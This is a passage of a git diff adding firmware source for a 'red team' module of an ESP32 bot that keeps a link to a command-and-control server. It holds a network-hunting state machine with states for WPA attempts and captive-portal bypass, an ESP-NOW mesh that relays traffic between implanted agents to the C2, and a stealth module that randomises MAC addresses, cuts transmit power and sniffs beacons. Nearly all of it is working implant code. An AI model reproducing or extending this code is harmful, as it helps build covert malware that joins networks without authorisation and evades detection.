&rt_wifi_event_handler);
|
||||
|
||||
if (s_state == RT_CONNECTED) {
|
||||
/* We found a connection — let the normal tcp_client_task take over.
|
||||
* It will use whatever WiFi we're connected to. */
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_restore_tx_power();
|
||||
#endif
|
||||
fb_active = false;
|
||||
wifi_resume_reconnect();
|
||||
ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task");
|
||||
} else {
|
||||
/* Restore original WiFi config */
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_restore_mac();
|
||||
rt_stealth_restore_tx_power();
|
||||
#endif
|
||||
if (s_orig_config_saved) {
|
||||
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
}
|
||||
fb_active = false;
|
||||
wifi_resume_reconnect();
|
||||
|
||||
/* Reconnect to original WiFi */
|
||||
esp_wifi_connect();
|
||||
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
||||
}
|
||||
|
||||
s_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
const char *rt_hunt_state_name(rt_state_t state)
|
||||
{
|
||||
if (state <= RT_GPRS)
|
||||
return state_names[state];
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
rt_state_t rt_hunt_get_state(void)
|
||||
{
|
||||
state_lock();
|
||||
rt_state_t st = s_state;
|
||||
state_unlock();
|
||||
return st;
|
||||
}
|
||||
|
||||
bool rt_hunt_is_active(void)
|
||||
{
|
||||
return s_active;
|
||||
}
|
||||
|
||||
const char *rt_hunt_connected_ssid(void)
|
||||
{
|
||||
/* Returned pointer is to static buffer — safe to read while mutex
|
||||
ensures the string is not being partially written. Caller should
|
||||
copy if it needs to keep the value. */
|
||||
static char ssid_copy[33];
|
||||
state_lock();
|
||||
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
||||
state_unlock();
|
||||
return ssid_copy;
|
||||
}
|
||||
|
||||
const char *rt_hunt_connected_method(void)
|
||||
{
|
||||
static char method_copy[16];
|
||||
state_lock();
|
||||
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
||||
state_unlock();
|
||||
return method_copy;
|
||||
}
|
||||
|
||||
void rt_hunt_trigger(void)
|
||||
{
|
||||
if (s_active) {
|
||||
ESP_LOGW(TAG, "Hunt already active");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Create mutex ONCE before any task uses it — avoids lazy init race */
|
||||
if (!s_state_mutex) {
|
||||
s_state_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
|
||||
if (!s_evt_group) {
|
||||
s_evt_group = xEventGroupCreate();
|
||||
}
|
||||
|
||||
s_active = true;
|
||||
state_lock();
|
||||
s_state = RT_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
hunt_task,
|
||||
"rt_hunt",
|
||||
RT_HUNT_STACK,
|
||||
NULL,
|
||||
RT_HUNT_PRIO,
|
||||
&s_task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create hunt task");
|
||||
s_active = false;
|
||||
}
|
||||
}
|
||||
|
||||
void rt_hunt_stop(void)
|
||||
{
|
||||
if (!s_active) return;
|
||||
|
||||
s_active = false; /* Signal task to exit */
|
||||
|
||||
/* Wait for task to finish cleanup (max 5s) */
|
||||
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
state_lock();
|
||||
s_state = RT_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "Hunt stopped");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
61
espilon_bot/components/mod_redteam/rt_hunt.h
Normal file
61
espilon_bot/components/mod_redteam/rt_hunt.h
Normal file
@ -0,0 +1,61 @@
|
||||
/*
|
||||
* rt_hunt.h
|
||||
* Red Team hunt state machine — autonomous network hunting.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Hunt states
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
RT_IDLE,
|
||||
RT_STEALTH_PREP,
|
||||
RT_PASSIVE_SCAN,
|
||||
RT_MESH_PROBE,
|
||||
RT_MESH_RELAY,
|
||||
RT_TRYING_KNOWN,
|
||||
RT_TRYING_OPEN,
|
||||
RT_TRYING_WPA,
|
||||
RT_PORTAL_CHECK,
|
||||
RT_PORTAL_BYPASS,
|
||||
RT_C2_VERIFY,
|
||||
RT_CONNECTED,
|
||||
RT_GPRS,
|
||||
} rt_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
|
||||
/* Trigger the hunt (start the state machine task if not running).
|
||||
* Called by C2 command or auto-trigger on TCP failure. */
|
||||
void rt_hunt_trigger(void);
|
||||
|
||||
/* Stop the hunt, restore original WiFi + MAC + TX power. */
|
||||
void rt_hunt_stop(void);
|
||||
|
||||
/* Get current state. */
|
||||
rt_state_t rt_hunt_get_state(void);
|
||||
|
||||
/* Get state name as string. */
|
||||
const char *rt_hunt_state_name(rt_state_t state);
|
||||
|
||||
/* Is the hunt task currently running? */
|
||||
bool rt_hunt_is_active(void);
|
||||
|
||||
/* Get the SSID we connected to (empty if none). */
|
||||
const char *rt_hunt_connected_ssid(void);
|
||||
|
||||
/* Get the method used to connect (e.g. "known", "open", "wpa", "mesh"). */
|
||||
const char *rt_hunt_connected_method(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
296
espilon_bot/components/mod_redteam/rt_mesh.c
Normal file
296
espilon_bot/components/mod_redteam/rt_mesh.c
Normal file
@ -0,0 +1,296 @@
|
||||
/*
|
||||
* rt_mesh.c
|
||||
* ESP-NOW mesh relay between Espilon agents.
|
||||
*
|
||||
* Protocol:
|
||||
* Agent A (no internet) → ESP-NOW broadcast "ESPNOW_PROBE"
|
||||
* Agent B (connected) → ESP-NOW unicast "ESPNOW_ACK:<device_id>"
|
||||
* Agent A sends → "RELAY:<device_id>:<base64_encrypted_msg>"
|
||||
* Agent B receives → forwards via TCP to C2
|
||||
* Agent B receives resp → "REPLY:<device_id>:<base64_encrypted_resp>"
|
||||
*
|
||||
* ESP-NOW works WITHOUT WiFi association — pure 802.11 P2P.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_mesh.h"
|
||||
#include <string.h>
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
#ifdef CONFIG_RT_MESH
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_now.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "RT_MESH";
|
||||
|
||||
#define ESPNOW_PMK "espilon_mesh_pmk" /* 16 bytes primary master key */
|
||||
#define ESPNOW_CHANNEL 1
|
||||
#define PROBE_MAGIC "ESPNOW_PROBE"
|
||||
#define ACK_MAGIC "ESPNOW_ACK:"
|
||||
#define RELAY_MAGIC "RELAY:"
|
||||
#define REPLY_MAGIC "REPLY:"
|
||||
#define PROBE_INTERVAL_MS 5000
|
||||
#define MAX_PEERS 4
|
||||
|
||||
static volatile bool s_running = false;
|
||||
static volatile bool s_initialized = false;
|
||||
static TaskHandle_t s_probe_task = NULL;
|
||||
|
||||
/* Best relay peer */
|
||||
static rt_mesh_peer_t s_best_relay = {0};
|
||||
static SemaphoreHandle_t s_relay_mutex = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* ESP-NOW receive callback
|
||||
* ============================================================ */
|
||||
|
||||
static void espnow_recv_cb(const esp_now_recv_info_t *info,
|
||||
const uint8_t *data, int len)
|
||||
{
|
||||
if (!s_running || !data || len <= 0) return;
|
||||
|
||||
/* ACK from a connected agent: "ESPNOW_ACK:<device_id>" */
|
||||
if (len > (int)strlen(ACK_MAGIC) &&
|
||||
memcmp(data, ACK_MAGIC, strlen(ACK_MAGIC)) == 0) {
|
||||
|
||||
const char *dev_id = (const char *)data + strlen(ACK_MAGIC);
|
||||
int id_len = len - (int)strlen(ACK_MAGIC);
|
||||
if (id_len <= 0 || id_len > 15) id_len = (id_len <= 0) ? 0 : 15;
|
||||
if (id_len == 0) return;
|
||||
|
||||
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, 0) == pdTRUE) {
|
||||
/* Use RSSI to pick the best relay */
|
||||
int8_t rssi = info->rx_ctrl->rssi;
|
||||
if (!s_best_relay.available || rssi > s_best_relay.rssi) {
|
||||
memcpy(s_best_relay.mac, info->src_addr, 6);
|
||||
memcpy(s_best_relay.device_id, dev_id, id_len);
|
||||
s_best_relay.device_id[id_len] = '\0';
|
||||
s_best_relay.rssi = rssi;
|
||||
s_best_relay.available = true;
|
||||
|
||||
ESP_LOGI(TAG, "Relay found: %s (RSSI=%d)", s_best_relay.device_id, rssi);
|
||||
}
|
||||
xSemaphoreGive(s_relay_mutex);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* PROBE from another agent looking for a relay */
|
||||
if (len == (int)strlen(PROBE_MAGIC) &&
|
||||
memcmp(data, PROBE_MAGIC, strlen(PROBE_MAGIC)) == 0) {
|
||||
|
||||
/* We answer only if we have internet (sock >= 0) */
|
||||
extern int sock;
|
||||
if (sock >= 0) {
|
||||
/* Send ACK with our device_id */
|
||||
char ack[64];
|
||||
int ack_len = snprintf(ack, sizeof(ack), "%s%s", ACK_MAGIC, CONFIG_DEVICE_ID);
|
||||
|
||||
/* Add peer if not already added */
|
||||
esp_now_peer_info_t peer = {0};
|
||||
memcpy(peer.peer_addr, info->src_addr, 6);
|
||||
peer.channel = 0; /* current channel */
|
||||
peer.encrypt = false;
|
||||
esp_now_add_peer(&peer); /* ignore error if already exists */
|
||||
|
||||
esp_now_send(info->src_addr, (uint8_t *)ack, ack_len);
|
||||
ESP_LOGI(TAG, "Answered PROBE from %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
info->src_addr[0], info->src_addr[1], info->src_addr[2],
|
||||
info->src_addr[3], info->src_addr[4], info->src_addr[5]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* RELAY request from another agent: forward to C2 via TCP */
|
||||
if (len > (int)strlen(RELAY_MAGIC) &&
|
||||
memcmp(data, RELAY_MAGIC, strlen(RELAY_MAGIC)) == 0) {
|
||||
|
||||
extern int sock;
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
if (sock >= 0 && sock_mutex) {
|
||||
const uint8_t *payload = data + strlen(RELAY_MAGIC);
|
||||
int payload_len = len - strlen(RELAY_MAGIC);
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int s = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (s >= 0) {
|
||||
/* Forward as-is — the payload is already encrypted E2E */
|
||||
lwip_write(s, payload, payload_len);
|
||||
lwip_write(s, "\n", 1);
|
||||
ESP_LOGI(TAG, "Relayed %d bytes to C2", payload_len);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ESP-NOW send callback
|
||||
* ============================================================ */
|
||||
|
||||
static void espnow_send_cb(const uint8_t *mac, esp_now_send_status_t status)
|
||||
{
|
||||
/* Minimal — just log failures */
|
||||
if (status != ESP_NOW_SEND_SUCCESS) {
|
||||
ESP_LOGW(TAG, "ESP-NOW send failed to %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Probe task — periodically broadcast to find relays
|
||||
* ============================================================ */
|
||||
|
||||
static void probe_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
/* Broadcast peer */
|
||||
esp_now_peer_info_t bcast = {0};
|
||||
memset(bcast.peer_addr, 0xFF, 6);
|
||||
bcast.channel = 0;
|
||||
bcast.encrypt = false;
|
||||
esp_now_add_peer(&bcast);
|
||||
|
||||
while (s_running) {
|
||||
/* Broadcast probe */
|
||||
esp_now_send(bcast.peer_addr,
|
||||
(uint8_t *)PROBE_MAGIC,
|
||||
strlen(PROBE_MAGIC));
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(PROBE_INTERVAL_MS));
|
||||
}
|
||||
|
||||
s_probe_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool rt_mesh_start(void)
|
||||
{
|
||||
if (s_running) return true;
|
||||
|
||||
if (!s_relay_mutex) {
|
||||
s_relay_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
|
||||
if (!s_initialized) {
|
||||
esp_err_t ret = esp_now_init();
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "esp_now_init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
esp_now_register_recv_cb(espnow_recv_cb);
|
||||
esp_now_register_send_cb(espnow_send_cb);
|
||||
s_initialized = true;
|
||||
}
|
||||
|
||||
s_running = true;
|
||||
memset(&s_best_relay, 0, sizeof(s_best_relay));
|
||||
|
||||
xTaskCreatePinnedToCore(probe_task, "rt_mesh", 3072, NULL, 4, &s_probe_task, 0);
|
||||
|
||||
ESP_LOGI(TAG, "ESP-NOW mesh relay started");
|
||||
return true;
|
||||
}
|
||||
|
||||
void rt_mesh_stop(void)
|
||||
{
|
||||
s_running = false;
|
||||
|
||||
/* Wait for probe task to stop */
|
||||
for (int i = 0; i < 30 && s_probe_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
if (s_initialized) {
|
||||
esp_now_deinit();
|
||||
s_initialized = false;
|
||||
}
|
||||
|
||||
memset(&s_best_relay, 0, sizeof(s_best_relay));
|
||||
ESP_LOGI(TAG, "ESP-NOW mesh relay stopped");
|
||||
}
|
||||
|
||||
bool rt_mesh_is_running(void)
|
||||
{
|
||||
return s_running;
|
||||
}
|
||||
|
||||
bool rt_mesh_send(const uint8_t *data, size_t len)
|
||||
{
|
||||
if (!s_running || !s_best_relay.available) return false;
|
||||
if (len > 240) { /* ESP-NOW max payload = 250, minus RELAY: prefix */
|
||||
ESP_LOGW(TAG, "Payload too large for ESP-NOW (%d bytes)", (int)len);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build "RELAY:<payload>" */
|
||||
uint8_t buf[250];
|
||||
int prefix_len = strlen(RELAY_MAGIC);
|
||||
memcpy(buf, RELAY_MAGIC, prefix_len);
|
||||
memcpy(buf + prefix_len, data, len);
|
||||
|
||||
esp_err_t ret = esp_now_send(s_best_relay.mac, buf, prefix_len + len);
|
||||
return (ret == ESP_OK);
|
||||
}
|
||||
|
||||
void rt_mesh_probe(void)
|
||||
{
|
||||
if (!s_running) return;
|
||||
|
||||
/* Reset best relay */
|
||||
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, portMAX_DELAY) == pdTRUE) {
|
||||
memset(&s_best_relay, 0, sizeof(s_best_relay));
|
||||
xSemaphoreGive(s_relay_mutex);
|
||||
}
|
||||
|
||||
/* Broadcast probe immediately */
|
||||
uint8_t bcast[6];
|
||||
memset(bcast, 0xFF, 6);
|
||||
esp_now_send(bcast, (uint8_t *)PROBE_MAGIC, strlen(PROBE_MAGIC));
|
||||
}
|
||||
|
||||
bool rt_mesh_get_relay(rt_mesh_peer_t *out)
|
||||
{
|
||||
if (!out) return false;
|
||||
if (!s_relay_mutex) {
|
||||
memset(out, 0, sizeof(*out));
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreTake(s_relay_mutex, portMAX_DELAY);
|
||||
memcpy(out, &s_best_relay, sizeof(rt_mesh_peer_t));
|
||||
xSemaphoreGive(s_relay_mutex);
|
||||
|
||||
return out->available;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_RT_MESH */
|
||||
|
||||
bool rt_mesh_start(void) { return false; }
|
||||
void rt_mesh_stop(void) { }
|
||||
bool rt_mesh_is_running(void) { return false; }
|
||||
bool rt_mesh_send(const uint8_t *data, size_t len) { (void)data; (void)len; return false; }
|
||||
void rt_mesh_probe(void) { }
|
||||
bool rt_mesh_get_relay(rt_mesh_peer_t *out) {
|
||||
if (out) { memset(out, 0, sizeof(*out)); out->available = false; }
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_RT_MESH */
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
42
espilon_bot/components/mod_redteam/rt_mesh.h
Normal file
42
espilon_bot/components/mod_redteam/rt_mesh.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* rt_mesh.h
|
||||
* ESP-NOW mesh relay between Espilon agents.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Start ESP-NOW mesh (init, register callbacks, start probe/relay). */
|
||||
bool rt_mesh_start(void);
|
||||
|
||||
/* Stop ESP-NOW mesh. */
|
||||
void rt_mesh_stop(void);
|
||||
|
||||
/* Is mesh running? */
|
||||
bool rt_mesh_is_running(void);
|
||||
|
||||
/* Send data via ESP-NOW relay (Agent A → Agent B → C2). */
|
||||
bool rt_mesh_send(const uint8_t *data, size_t len);
|
||||
|
||||
/* Broadcast a probe to find connected agents. */
|
||||
void rt_mesh_probe(void);
|
||||
|
||||
/* Get best relay peer info (device_id, RSSI). Empty if none found. */
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
char device_id[16];
|
||||
int8_t rssi;
|
||||
bool available;
|
||||
} rt_mesh_peer_t;
|
||||
|
||||
bool rt_mesh_get_relay(rt_mesh_peer_t *out);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
272
espilon_bot/components/mod_redteam/rt_stealth.c
Normal file
272
espilon_bot/components/mod_redteam/rt_stealth.c
Normal file
@ -0,0 +1,272 @@
|
||||
/*
|
||||
* rt_stealth.c
|
||||
* OPSEC: MAC randomization, TX power control, passive scan.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_stealth.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "RT_STEALTH";
|
||||
|
||||
/* ============================================================
|
||||
* MAC randomization
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t s_orig_mac[6] = {0};
|
||||
static bool s_mac_saved = false;
|
||||
|
||||
void rt_stealth_save_original_mac(void)
|
||||
{
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
|
||||
s_mac_saved = true;
|
||||
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_randomize_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
esp_fill_random(mac, 6);
|
||||
mac[0] &= 0xFE; /* unicast */
|
||||
mac[0] |= 0x02; /* locally administered */
|
||||
|
||||
/* Must disconnect before changing MAC */
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
|
||||
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_restore_mac(void)
|
||||
{
|
||||
if (s_mac_saved) {
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
|
||||
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_get_current_mac(uint8_t mac[6])
|
||||
{
|
||||
esp_wifi_get_mac(WIFI_IF_STA, mac);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TX power control
|
||||
* ============================================================ */
|
||||
|
||||
void rt_stealth_low_tx_power(void)
|
||||
{
|
||||
/* 8 dBm (arg * 0.25 dBm, so 32 = 8 dBm) */
|
||||
esp_err_t err = esp_wifi_set_max_tx_power(32);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_restore_tx_power(void)
|
||||
{
|
||||
esp_wifi_set_max_tx_power(80); /* 20 dBm */
|
||||
ESP_LOGI(TAG, "TX power restored to 20 dBm");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Passive scan — promiscuous mode beacon capture
|
||||
* ============================================================ */
|
||||
|
||||
/* WiFi management frame header */
|
||||
typedef struct {
|
||||
unsigned frame_ctrl:16;
|
||||
unsigned duration_id:16;
|
||||
uint8_t addr1[6]; /* Destination */
|
||||
uint8_t addr2[6]; /* Source */
|
||||
uint8_t addr3[6]; /* BSSID */
|
||||
unsigned seq_ctrl:16;
|
||||
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||
|
||||
/* Beacon frame body (partial — just what we need) */
|
||||
/* Fixed fields: timestamp(8) + beacon_interval(2) + capability(2) = 12 bytes */
|
||||
#define BEACON_FIXED_LEN 12
|
||||
/* Tag: SSID = tag_number 0, followed by length, then SSID string */
|
||||
|
||||
static rt_scan_ap_t s_scan_results[RT_MAX_SCAN_APS];
|
||||
static volatile int s_scan_count = 0;
|
||||
|
||||
/* Check if we already have this BSSID */
|
||||
static int find_bssid(const uint8_t bssid[6])
|
||||
{
|
||||
for (int i = 0; i < s_scan_count; i++) {
|
||||
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||
|
||||
/* Check frame type: beacon = 0x80, probe response = 0x50 */
|
||||
uint16_t fc = hdr->frame_ctrl;
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
if (subtype != 8 && subtype != 5) return; /* 8=beacon, 5=probe_resp */
|
||||
|
||||
/* BSSID is addr3 for beacons */
|
||||
const uint8_t *bssid = hdr->addr3;
|
||||
|
||||
/* Skip if already seen */
|
||||
if (find_bssid(bssid) >= 0) {
|
||||
/* Update RSSI if stronger */
|
||||
int idx = find_bssid(bssid);
|
||||
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
|
||||
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (s_scan_count >= RT_MAX_SCAN_APS) return;
|
||||
|
||||
/* Parse beacon body for SSID */
|
||||
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
|
||||
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
|
||||
|
||||
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
|
||||
return;
|
||||
|
||||
/* Parse tagged parameters for SSID (tag 0) and RSN/WPA (security) */
|
||||
const uint8_t *body = pkt->payload + body_offset;
|
||||
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
|
||||
/* Remove FCS (4 bytes) if present */
|
||||
if (body_len > 4) body_len -= 4;
|
||||
|
||||
rt_scan_ap_t *ap = &s_scan_results[s_scan_count];
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(ap->bssid, bssid, 6);
|
||||
ap->rssi = pkt->rx_ctrl.rssi;
|
||||
ap->channel = pkt->rx_ctrl.channel;
|
||||
ap->auth_mode = 0; /* Assume open until we find RSN/WPA tag */
|
||||
|
||||
/* Parse IEs (Information Elements) */
|
||||
size_t pos = 0;
|
||||
while (pos + 2 <= body_len) {
|
||||
uint8_t tag_id = body[pos];
|
||||
uint8_t tag_len = body[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > body_len) break;
|
||||
|
||||
if (tag_id == 0) { /* SSID */
|
||||
size_t ssid_len = tag_len;
|
||||
if (ssid_len > 32) ssid_len = 32;
|
||||
memcpy(ap->ssid, body + pos + 2, ssid_len);
|
||||
ap->ssid[ssid_len] = '\0';
|
||||
} else if (tag_id == 48) { /* RSN (WPA2) */
|
||||
ap->auth_mode = 3; /* WPA2 */
|
||||
} else if (tag_id == 221) { /* Vendor specific — check for WPA OUI */
|
||||
if (tag_len >= 4 &&
|
||||
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
|
||||
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
|
||||
if (ap->auth_mode == 0) ap->auth_mode = 2; /* WPA */
|
||||
}
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
s_scan_count++;
|
||||
}
|
||||
|
||||
int rt_stealth_passive_scan(int duration_ms)
|
||||
{
|
||||
s_scan_count = 0;
|
||||
memset(s_scan_results, 0, sizeof(s_scan_results));
|
||||
|
||||
/* Enable promiscuous mode */
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Filter management frames only (beacons, probe responses) */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
|
||||
|
||||
/* Channel hop: ~200ms per channel, 13 channels per cycle */
|
||||
int channels = 13;
|
||||
int hop_ms = 200;
|
||||
int elapsed = 0;
|
||||
|
||||
while (elapsed < duration_ms) {
|
||||
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
|
||||
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
|
||||
vTaskDelay(pdMS_TO_TICKS(hop_ms));
|
||||
elapsed += hop_ms;
|
||||
}
|
||||
}
|
||||
|
||||
/* Disable promiscuous mode */
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
|
||||
return s_scan_count;
|
||||
}
|
||||
|
||||
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count)
|
||||
{
|
||||
int count = s_scan_count;
|
||||
if (count > max_count) count = max_count;
|
||||
memcpy(out, s_scan_results, count * sizeof(rt_scan_ap_t));
|
||||
return count;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_REDTEAM — empty stubs */
|
||||
|
||||
#include <string.h>
|
||||
|
||||
void rt_stealth_save_original_mac(void) {}
|
||||
void rt_stealth_randomize_mac(void) {}
|
||||
void rt_stealth_restore_mac(void) {}
|
||||
void rt_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
|
||||
void rt_stealth_low_tx_power(void) {}
|
||||
void rt_stealth_restore_tx_power(void) {}
|
||||
int rt_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
|
||||
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
54
espilon_bot/components/mod_redteam/rt_stealth.h
Normal file
54
espilon_bot/components/mod_redteam/rt_stealth.h
Normal file
